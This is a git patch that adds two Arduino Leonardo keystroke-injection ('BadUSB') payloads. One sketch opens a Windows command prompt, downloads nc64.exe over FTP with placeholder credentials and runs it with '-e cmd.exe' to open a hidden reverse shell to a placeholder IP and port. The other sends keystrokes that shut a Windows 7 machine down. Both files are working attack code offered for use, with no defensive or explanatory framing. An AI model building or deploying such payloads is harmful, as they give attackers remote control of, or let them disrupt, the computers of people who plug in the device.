From ad346c219aaa03e53f8ada7689b323bf72d6e604 Mon Sep 17 00:00:00 2001 From: Joel Serna Moreno Date: Thu, 24 May 2018 22:20:03 +0200 Subject: [PATCH] +payloads --- .../netcat_ftp_and_reverse_shell.ino | 33 +++++++++++++++++++ .../win7_shutdown_tab/win7_shutdown_tab.ino | 26 +++++++++++++++ 2 files changed, 59 insertions(+) create mode 100644 atmega32u4_arduino_leonardo/netcat_ftp_and_reverse_shell/netcat_ftp_and_reverse_shell.ino create mode 100644 atmega32u4_arduino_leonardo/win7_shutdown_tab/win7_shutdown_tab.ino diff --git a/atmega32u4_arduino_leonardo/netcat_ftp_and_reverse_shell/netcat_ftp_and_reverse_shell.ino b/atmega32u4_arduino_leonardo/netcat_ftp_and_reverse_shell/netcat_ftp_and_reverse_shell.ino new file mode 100644 index 0000000..34e0005 --- /dev/null +++ b/atmega32u4_arduino_leonardo/netcat_ftp_and_reverse_shell/netcat_ftp_and_reverse_shell.ino @@ -0,0 +1,33 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("cmd"); + delay(5000); + Keyboard.println("ftp"); + delay(2000); + Keyboard.println("open IPSERVERFTP"); + delay(5000); + Keyboard.println("USERNAME"); + delay(2000); + Keyboard.println("PASSWORD"); + delay(5000); + Keyboard.println("binary"); + delay(2000); + Keyboard.println("GET nc64.exe"); + delay(4000); + Keyboard.println("bye"); + delay(2000); + Keyboard.println("nc64.exe IP PORT -e cmd.exe -d"); + delay(5000); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_F4); + delay(100); + Keyboard.releaseAll(); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/win7_shutdown_tab/win7_shutdown_tab.ino b/atmega32u4_arduino_leonardo/win7_shutdown_tab/win7_shutdown_tab.ino new file mode 100644 index 0000000..1aa4af2 --- /dev/null +++ b/atmega32u4_arduino_leonardo/win7_shutdown_tab/win7_shutdown_tab.ino @@ -0,0 +1,26 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + while(1); +}